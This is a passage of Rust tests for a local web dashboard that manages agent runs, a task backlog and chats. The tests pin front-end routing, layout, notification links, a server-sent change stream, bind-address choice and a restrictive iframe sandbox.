21241            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21242        });
21243        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21244        let notes = &v["thread_notes_md"];
21245        assert_eq!(notes.as_array().unwrap().len(), 2);
21246        assert!(notes[0].is_null());
21247        let text = notes[1].to_string();
21248        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21249        assert!(APP_JS.contains("ask-turn-note"));
21250    }
21251
21252    #[test]
21253    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21254        // The land panel defers to `run.status` for merged, and labels a
21255        // recorded-open PR on any finished run (superseded, blocked, ...) as
21256        // last seen, never as live state.
21257        assert!(APP_JS.contains("function landView(run, raw) {"));
21258        assert!(
21259            APP_JS.contains(
21260                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21261            )
21262        );
21263        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21264        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21265        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21266        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21267    }
21268
21269    #[test]
21270    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21271        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21272        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21273        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21274        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21275    }
21276
21277    #[test]
21278    fn review_rounds_label_a_distinct_verified_head() {
21279        assert!(APP_JS.contains("round.verified_head"));
21280        assert!(APP_JS.contains("verified HEAD"));
21281        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21282    }
21283
21284    #[test]
21285    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21286        // A blocked task's chip and note must not fall back to a queued-like
21287        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21288        // itself by e11fc58 but never checked here.
21289        assert!(APP_JS.contains("blocked: { glyph:"));
21290        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21291
21292        // `blocked_by` mixes task ids and question ids in the same list, and
21293        // the client can only tell them apart by checking each id against
21294        // what it actually knows - never by guessing from the id's shape.
21295        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21296        assert!(
21297            APP_JS.contains(
21298                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21299            ),
21300            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21301        );
21302        // The classification must key off `status_str`, never off `blocked_by`
21303        // or `block_reason` merely being present - both can survive briefly
21304        // on a task a hold or a dead daemon just moved off `blocked`.
21305        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21306
21307        // A question a task is blocked on gets its own node in the same
21308        // dependency graph, not just a task-shaped node with nothing known
21309        // about it.
21310        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21311        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21312        assert!(
21313            APP_JS.contains("location.hash = \"#/questions\";"),
21314            "a question node must jump to the Questions screen, not pretend to be a task"
21315        );
21316
21317        // `Task::answers` - decisions already made - are shown as a record on
21318        // the card, the same disclosure style as the full instruction.
21319        assert!(APP_JS.contains("Resolved questions"));
21320        assert!(APP_JS.contains("r.answersList.append("));
21321        assert!(APP_CSS.contains(".task-answers"));
21322        {
21323            let start = APP_JS
21324                .find("function updateTalkTaskRow")
21325                .expect("updateTalkTaskRow");
21326            let body = &APP_JS[start..];
21327            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21328            assert!(
21329                body.contains(
21330                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21331                ),
21332                "a chat-filed task row must link to the task page"
21333            );
21334            assert!(
21335                !body.contains("#/runs/") && !body.contains("#/queue/"),
21336                "the row must not branch to a run or the queue card"
21337            );
21338            assert!(APP_CSS.contains(".talk-task-link"));
21339        }
21340    }
21341
21342    #[test]
21343    fn a_task_notification_links_to_the_task_page() {
21344        // A task notice opens the task detail page, not the Backlog card.
21345        let start = APP_JS
21346            .find("function noticeLink(")
21347            .expect("noticeLink exists");
21348        let body = &APP_JS[start..];
21349        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21350        assert!(
21351            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21352            "a task notice's link must target the task page"
21353        );
21354        assert!(
21355            !body.contains("#/queue/"),
21356            "regression: the task link must not go back to the Backlog route"
21357        );
21358        assert!(
21359            APP_JS.contains(
21360                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21361            ),
21362            "`#/tasks/<id>` must parse into the task route"
21363        );
21364
21365        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21366        assert!(
21367            APP_JS.contains(
21368                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21369            ),
21370            "`#/queue/<id>` must parse into a route carrying that id"
21371        );
21372
21373        // And the Backlog view has to actually land on the card once it can
21374        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21375        // so a focus set before the queue has loaded is retried once it has.
21376        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21377        assert!(APP_JS.contains("function consumeQueueFocus()"));
21378        assert!(APP_JS.contains("jumpToTask(id)"));
21379    }
21380
21381    #[test]
21382    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21383        let start = APP_JS
21384            .find("function noticeCoveredBy(")
21385            .expect("noticeCoveredBy exists");
21386        let body = &APP_JS[start..];
21387        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21388
21389        // Historical associations are informational, even for open questions.
21390        assert!(body.contains("Associated question ${short}"));
21391        assert!(!body.contains("el(\"a\""));
21392
21393        // A resolved question displays status rather than an actionable link
21394        assert!(body.contains("(resolved)"));
21395        assert!(body.contains("(closed)"));
21396
21397        let start = APP_JS
21398            .find("function renderNotifications()")
21399            .expect("renderNotifications exists");
21400        let body = &APP_JS[start..];
21401        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21402
21403        // Only a server-resolved answerable question supplies a response link.
21404        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21405        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21406        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21407        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21408    }
21409
21410    /// Chat rows are two lines at every width: the title alone, then the
21411    /// shrinkable secondary info.
21412    #[test]
21413    fn chat_rows_put_the_title_alone_on_the_first_line() {
21414        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21415        assert!(APP_CSS.contains(
21416            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21417        ));
21418        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21419        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21420    }
21421
21422    #[test]
21423    fn run_rows_put_the_title_alone_on_the_first_line() {
21424        assert!(
21425            APP_CSS.contains(
21426                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21427            )
21428        );
21429        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21430        assert!(APP_JS.contains("class: \"card run-card\""));
21431        assert!(APP_JS.contains("class: \"repo run-id\""));
21432    }
21433
21434    /// Wide screens get a master/detail layout built from the views a phone
21435    /// drills into. These are string assertions: they pin the contract between
21436    /// the three assets, not how it looks.
21437    #[test]
21438    fn wide_screens_show_list_and_preview_side_by_side() {
21439        // One breakpoint, spelled the same in the script and the stylesheet.
21440        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21441        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21442        assert!(APP_CSS.contains("main[data-split]"));
21443        assert!(APP_CSS.contains("body[data-split]"));
21444
21445        // The route -> panes table, and a narrow screen opting out of it.
21446        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21447        assert!(
21448            APP_JS.contains(
21449                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21450            )
21451        );
21452        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21453        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21454        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21455
21456        // Selection is derived from the route, and only ever paints a row.
21457        assert!(APP_JS.contains("function markSelected() {"));
21458        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21459        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21460        // The dense row must override the stacked card the 720px block sets up.
21461        assert!(
21462            APP_CSS.contains(
21463                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21464            )
21465        );
21466
21467        // Independent scrolling: the page stops scrolling, each pane does.
21468        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21469        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21470        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21471        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21472
21473        // A refresh must never navigate: the loaders still check that their
21474        // subject is the one on screen, and crossing the breakpoint only
21475        // re-reads the hash.
21476        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21477        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21478        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21479        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21480
21481        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21482        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21483    }
21484
21485    #[test]
21486    fn panel_sandbox_carries_exactly_popups() {
21487        let needle = "sandbox: \"";
21488        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21489        assert_eq!(
21490            matches.len(),
21491            1,
21492            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21493        );
21494        let start = matches[0].0 + needle.len();
21495        let end = APP_JS[start..]
21496            .find('"')
21497            .expect("sandbox attribute value must be terminated by a closing quote");
21498        let val = &APP_JS[start..start + end];
21499        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21500        let expected: std::collections::BTreeSet<&str> =
21501            ["allow-popups", "allow-popups-to-escape-sandbox"]
21502                .into_iter()
21503                .collect();
21504        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21505        assert!(
21506            !tokens.contains("allow-scripts"),
21507            "allow-scripts must never be present in sandbox"
21508        );
21509        assert!(
21510            !tokens.contains("allow-same-origin"),
21511            "allow-same-origin must never be present in sandbox"
21512        );
21513    }
21514
21515    #[test]
21516    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21517        // consumeQueueFocus() clears an active Backlog search before it can
21518        // scroll to the target card (the sections list is hidden while a
21519        // search is showing), by recursing back into renderQueue(). The
21520        // fixer's first cut nulled state.queueFocus before that recursive
21521        // call, so the second pass saw nothing to jump to and the jump was
21522        // silently dropped whenever a notification's link was opened with a
21523        // stale search still active. state.queueFocus must only be cleared
21524        // right before jumpToTask() actually runs.
21525        assert!(
21526            APP_JS.contains(
21527                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21528            ),
21529            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21530             recursive renderQueue() call has nothing left to jump to"
21531        );
21532        assert!(
21533            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21534            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21535             arrives later still gets it"
21536        );
21537        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21538        assert!(APP_JS.contains("is not in the current Backlog."));
21539        assert!(APP_JS.contains("li.card[data-task-id=\""));
21540        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21541        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21542        assert!(APP_CSS.contains(".card-permalink"));
21543        assert!(APP_CSS.contains(".queue-focus-status"));
21544        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21545    }
21546
21547    #[test]
21548    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21549        // The task's own repro: only the link text inside .notice-meta was
21550        // clickable, so a tap on the message, the timestamp, or the card's
21551        // padding did nothing - on a phone that reads as "the card doesn't
21552        // work" even though the tiny link inside it did. Mark read / Dismiss
21553        // must keep working independently of this: `.closest("a, button")`
21554        // is what lets a tap that actually lands on those elements fall
21555        // through instead of being hijacked into a navigation.
21556        assert!(
21557            APP_JS.contains(
21558                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21559            ),
21560            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21561        );
21562    }
21563
21564    #[test]
21565    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21566        assert!(
21567            APP_JS.contains("round.verified_head !== round.head"),
21568            "a round that verified an earlier commit must be visibly distinct from one that \
21569             verified the head reviewers are looking at now"
21570        );
21571        assert!(
21572            APP_JS.contains("round.verified_at"),
21573            "when a check ran must be on the wire, not just which commit"
21574        );
21575        assert!(
21576            APP_JS.contains("resource_blocked"),
21577            "a command magi never got to run (shared build cache contention) must not render \
21578             the same as a command that ran and failed"
21579        );
21580    }
21581
21582    #[test]
21583    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21584        // Every KPI tile but Total runs and Completion names an exact
21585        // RunStatus and hands it to openRunsFiltered(), which is what wires
21586        // the click into state.runsFilter.status (matchesFilter's own
21587        // status check) rather than the coarser runsStateFilter chips. Each
21588        // status literal here must be one of the strings runSection() (and
21589        // isStale()) actually compare a run's own `status` field against -
21590        // a status this dashboard invented would filter to nothing.
21591        assert!(
21592            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21593            "every KPI tile built through statusTile() must route its click through \
21594             openRunsFiltered, the single place that sets the Runs filter"
21595        );
21596        for (label, status) in [
21597            ("Merged", "merged"),
21598            ("Ready", "ready"),
21599            ("Blocked", "blocked"),
21600            ("Stalled", "stalled"),
21601        ] {
21602            let call = format!("statusTile(\"{label}\", t.{status}, ");
21603            assert!(
21604                APP_JS.contains(&call),
21605                "expected the {label} KPI tile built via {call}..."
21606            );
21607            assert!(
21608                APP_JS.contains(&format!("status === \"{status}\"")),
21609                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21610                 compare a run against, not one invented only for the stats tile"
21611            );
21612        }
21613        assert!(
21614            APP_JS.contains("function openRunsFiltered(status)"),
21615            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21616        );
21617        assert!(
21618            APP_JS.contains(
21619                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21620            ),
21621            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21622        );
21623        // applyRoute() only flips which view is visible for a plain `#runs`
21624        // hash - it does not itself redraw the list (see applyRoute's own
21625        // handling below) - so openRunsFiltered must call renderRuns()
21626        // itself, and must call applyRoute() too so the view flips even
21627        // when the hash string doesn't change (the operator may already be
21628        // on the Runs view when a tile is tapped, which fires no
21629        // hashchange event at all).
21630        assert!(
21631            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21632            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21633             hashchange event that may never fire"
21634        );
21635    }
21636
21637    #[test]
21638    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21639        // A stats tile can leave state.runsFilter.status set to something
21640        // done-by-construction (e.g. "merged") - picking "Active" afterward
21641        // must drop it the same way an incompatible tree section is already
21642        // dropped, or the Runs list renders permanently empty with no way
21643        // for the operator to tell why.
21644        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21645        assert!(
21646            APP_JS.contains(
21647                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21648            ),
21649            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21650             guard for an incompatible tree section"
21651        );
21652    }
21653
21654    #[test]
21655    fn every_stats_queue_tile_names_a_real_queue_section() {
21656        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21657        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21658        // (consumeQueueSectionFocus finds no matching <details> and drops
21659        // the focus) rather than fail loudly, so pin every key against the
21660        // section list it has to resolve against.
21661        assert!(
21662            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21663            "every queue tile built through sectionTile() must route its click through \
21664             openQueueSectionFocus"
21665        );
21666        for key in ["upnext", "running", "done", "held", "blocked"] {
21667            assert!(
21668                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21669                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21670            );
21671        }
21672        // Queued and Failed intentionally both resolve to "upnext" - the
21673        // same section queueSection() itself files them under - rather than
21674        // getting a section each.
21675        for line in [
21676            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21677            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21678            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21679            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21680            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21681            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21682        ] {
21683            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21684        }
21685    }
21686
21687    #[test]
21688    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21689        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21690        // above for the section-focus channel a stats queue tile drives:
21691        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21692        // through the stale-search-clear recursion into renderQueue(), and
21693        // clear it only once revealQueueSection() is actually about to run -
21694        // the same trap that once silently dropped a task-focus jump.
21695        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21696        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21697        assert!(APP_JS.contains("function revealQueueSection(details)"));
21698        assert!(
21699            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21700            "renderQueue() must consume both focus channels on every pass"
21701        );
21702        assert!(
21703            APP_JS.contains(
21704                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21705            ),
21706            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21707             the recursive renderQueue() call has nothing left to reveal"
21708        );
21709        assert!(
21710            APP_JS.contains(
21711                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21712            ),
21713            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21714        );
21715        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21716        // task-focus form of the hash - a plain `#queue` navigation only
21717        // flips which view is visible. openQueueSectionFocus() must
21718        // therefore call renderQueue() itself, and applyRoute() too so the
21719        // view flips even when the hash doesn't change (the Backlog may
21720        // already be open when a tile is tapped, firing no hashchange
21721        // event at all).
21722        assert!(
21723            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21724            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21725             hashchange event that may never fire"
21726        );
21727    }
21728
21729    #[tokio::test]
21730    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21731        let f = Fixture::start().await;
21732
21733        let mut socket = tokio::net::TcpStream::connect(f.addr)
21734            .await
21735            .expect("connect");
21736        socket
21737            .write_all(
21738                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21739            )
21740            .await
21741            .expect("write request");
21742
21743        // Read until the first event arrives rather than to end of stream: the
21744        // stream is endless by design, which is the point of the route.
21745        let mut seen = String::new();
21746        let mut buf = [0u8; 1024];
21747        while !seen.contains("event: change") {
21748            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21749                .await
21750                .expect("the stream must speak within five seconds")
21751                .expect("read");
21752            assert!(read > 0, "the server closed the change stream: {seen}");
21753            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21754        }
21755
21756        assert!(
21757            seen.to_lowercase()
21758                .contains("content-type: text/event-stream"),
21759            "the browser only reconnects automatically for a real SSE stream: {seen}"
21760        );
21761        let data = seen
21762            .lines()
21763            .find_map(|l| l.strip_prefix("data:"))
21764            .expect("a data line");
21765        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21766        assert!(
21767            payload["queue_rev"].is_u64()
21768                && payload["runs_rev"].is_u64()
21769                && payload["questions_rev"].is_u64()
21770                && payload["talks_rev"].is_u64()
21771                && payload["notifications_rev"].is_u64()
21772                && payload["loop_rev"].is_u64(),
21773            "the client needs one revision per store to know what to refetch, \
21774             and `talks_rev` is the only notification a standing talk gets - a \
21775             phone whose radio slept through a turn learns about it here, as \
21776             does one whose operator started the loop from another device: \
21777             {payload}"
21778        );
21779
21780        // The front end re-polls health on a timer and on wake, and takes the
21781        // revisions from that answer whenever the stream is not up. So health
21782        // has to carry every key the stream carries: a phone on a link that
21783        // will not hold an SSE connection is exactly the phone that must still
21784        // notice a question, and a missing key there is not a 500 but a UI
21785        // that quietly stops updating.
21786        let health = f.get("/api/health").await.json();
21787        for key in [
21788            "queue_rev",
21789            "runs_rev",
21790            "questions_rev",
21791            "talks_rev",
21792            "notifications_rev",
21793            "loop_rev",
21794        ] {
21795            assert!(
21796                health[key].is_u64(),
21797                "health is the change stream's fallback and is missing `{key}`: {health}"
21798            );
21799        }
21800    }
21801
21802    #[tokio::test]
21803    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21804        let f = Fixture::start().await;
21805        let before = f.get("/api/health").await.json()["talks_rev"]
21806            .as_u64()
21807            .expect("talks_rev");
21808
21809        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21810        std::thread::sleep(Duration::from_millis(10));
21811        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21812        on_disk.turns.push(crate::talk::Turn {
21813            sender: None,
21814            breaks: Some(Vec::new()),
21815            messages: Vec::new(),
21816            posted_by: None,
21817            who: crate::talk::Who::Operator,
21818            body: "a new turn".to_owned(),
21819            at: Timestamp::now(),
21820            attachments: Vec::new(),
21821            usage: None,
21822        });
21823        f.talks().put(&mut on_disk).expect("record a turn");
21824
21825        let after = tokio::time::timeout(Duration::from_secs(5), async {
21826            loop {
21827                let revision = f.get("/api/health").await.json()["talks_rev"]
21828                    .as_u64()
21829                    .unwrap();
21830                if revision != before {
21831                    break revision;
21832                }
21833                tokio::time::sleep(Duration::from_millis(50)).await;
21834            }
21835        })
21836        .await
21837        .expect("shared monitor observes external turn");
21838        assert_ne!(
21839            before, after,
21840            "a phone must be able to notice a talk's reply without polling every store"
21841        );
21842    }
21843
21844    #[test]
21845    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21846        // The CLI shows the default in `--help` and parses whatever comes
21847        // back, so the two directions have to agree or `--bind auto` breaks
21848        // the moment someone copies the help text.
21849        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21850            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21851        }
21852        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21853        assert!("everywhere".parse::<Bind>().is_err());
21854    }
21855
21856    #[test]
21857    fn an_explicit_bind_address_is_taken_verbatim() {
21858        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21859
21860        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21861
21862        assert_eq!(addr, asked);
21863        assert!(
21864            warning.is_none(),
21865            "an operator who named an address gets no lecture"
21866        );
21867    }
21868
21869    #[test]
21870    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21871        let (addr, warning) = resolve_bind(&Bind::Auto);
21872
21873        // This has to hold on a CI runner with no `tailscale` and on a dev box
21874        // with one, so the invariant asserted is the one shared by both
21875        // outcomes: the address is either a real tailnet address offered
21876        // without comment, or loopback with an explanation. What must never
21877        // happen is a silent fallback - an operator told "listening on
21878        // 127.0.0.1" with no reason would go looking for a firewall.
21879        match addr {
21880            IpAddr::V4(ip) if is_tailnet(&ip) => {
21881                assert!(warning.is_none(), "a tailnet address needs no warning");
21882            }
21883            other => {
21884                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21885                let warning = warning.expect("a fallback has to explain itself");
21886                assert!(
21887                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21888                    "the warning says what happened and what it costs: {warning}"
21889                );
21890            }
21891        }
21892    }
21893
21894    #[test]
21895    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21896        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21897        // boundary cases are what stop us binding to some other tool's idea of
21898        // an address.
21899        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21900        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21901        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21902        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21903        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21904    }
21905
21906    #[test]
21907    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21908        let ids = vec![
21909            "20260902-140501-aaaa".to_owned(),
21910            "20260902-140502-aabb".to_owned(),
21911        ];
21912
21913        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21914        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21915        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21916
21917        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21918        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21919        assert_eq!(short, "20260902-140502-aabb");
21920    }
21921    #[tokio::test]
21922    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21923        // The prompt tells agents to reference attachments by bare filename.
21924        // A document served at `.../panel` resolves `shot.png` against its own
21925        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21926        // panel written exactly as instructed showed broken images. Caught by
21927        // looking at a real one in a browser, not by reading the code.
21928        let fx = Fixture::start().await;
21929        let id = panel(
21930            &fx,
21931            "<img src=\"shot.png\">",
21932            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21933        );
21934
21935        // The frame's own URL ends in a filename, so its siblings are reachable.
21936        let doc = fx
21937            .get(&format!("/api/questions/{id}/panel/index.html"))
21938            .await;
21939        assert_eq!(doc.status, 200, "{}", doc.body);
21940        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21941
21942        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21943        assert_eq!(sibling.status, 200, "{}", sibling.body);
21944        assert_eq!(sibling.header("content-type"), Some("image/png"));
21945        assert_eq!(
21946            sibling.header("content-security-policy"),
21947            Some(PANEL_CSP),
21948            "the sibling route must carry the same policy as the asset route"
21949        );
21950
21951        // The original spelling keeps working: HEAD on it is how the front end
21952        // decides whether to mount a frame at all.
21953        assert_eq!(
21954            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21955            200
21956        );
21957    }
21958
21959    #[test]
21960    fn delta_stamps_cover_add_update_remove_and_noop() {
21961        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21962        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21963        let delta = diff_stamps(&before, &after, 42);
21964        assert_eq!(delta.base, 42);
21965        assert_eq!(delta.changed, ["b", "c"]);
21966        assert_eq!(delta.removed, ["a"]);
21967        let same = diff_stamps(&after, &after, 43);
21968        assert!(same.changed.is_empty() && same.removed.is_empty());
21969        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21970        let nanos: Stamps = [("b".into(), (2, 20))].into();
21971        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21972        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21973        assert_eq!(stamps_revision(&Stamps::new()), 0);
21974    }
21975
21976    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21977        std::fs::create_dir_all(home.join("runs")).unwrap();
21978        Arc::new(
21979            Ui::new(
21980                Queue::at(home.join("queue")),
21981                Questions::at(home.join("questions")),
21982                Talks::at(home.join("talks")),
21983                home.join("runs"),
21984                home.to_owned(),
21985                PathBuf::from("/repo/magi"),
21986            )
21987            .with_worktrees_root(home.join("wt")),
21988        )
21989    }
21990
21991    #[test]
21992    fn monitor_scan_isolates_store_failures_and_recovers() {
21993        let home = TempDir::new().unwrap();
21994        let ui = delta_test_ui(home.path());
21995        std::fs::create_dir_all(ui.questions.root()).unwrap();
21996        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21997        let before = monitor_scan(&ui, None);
21998        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
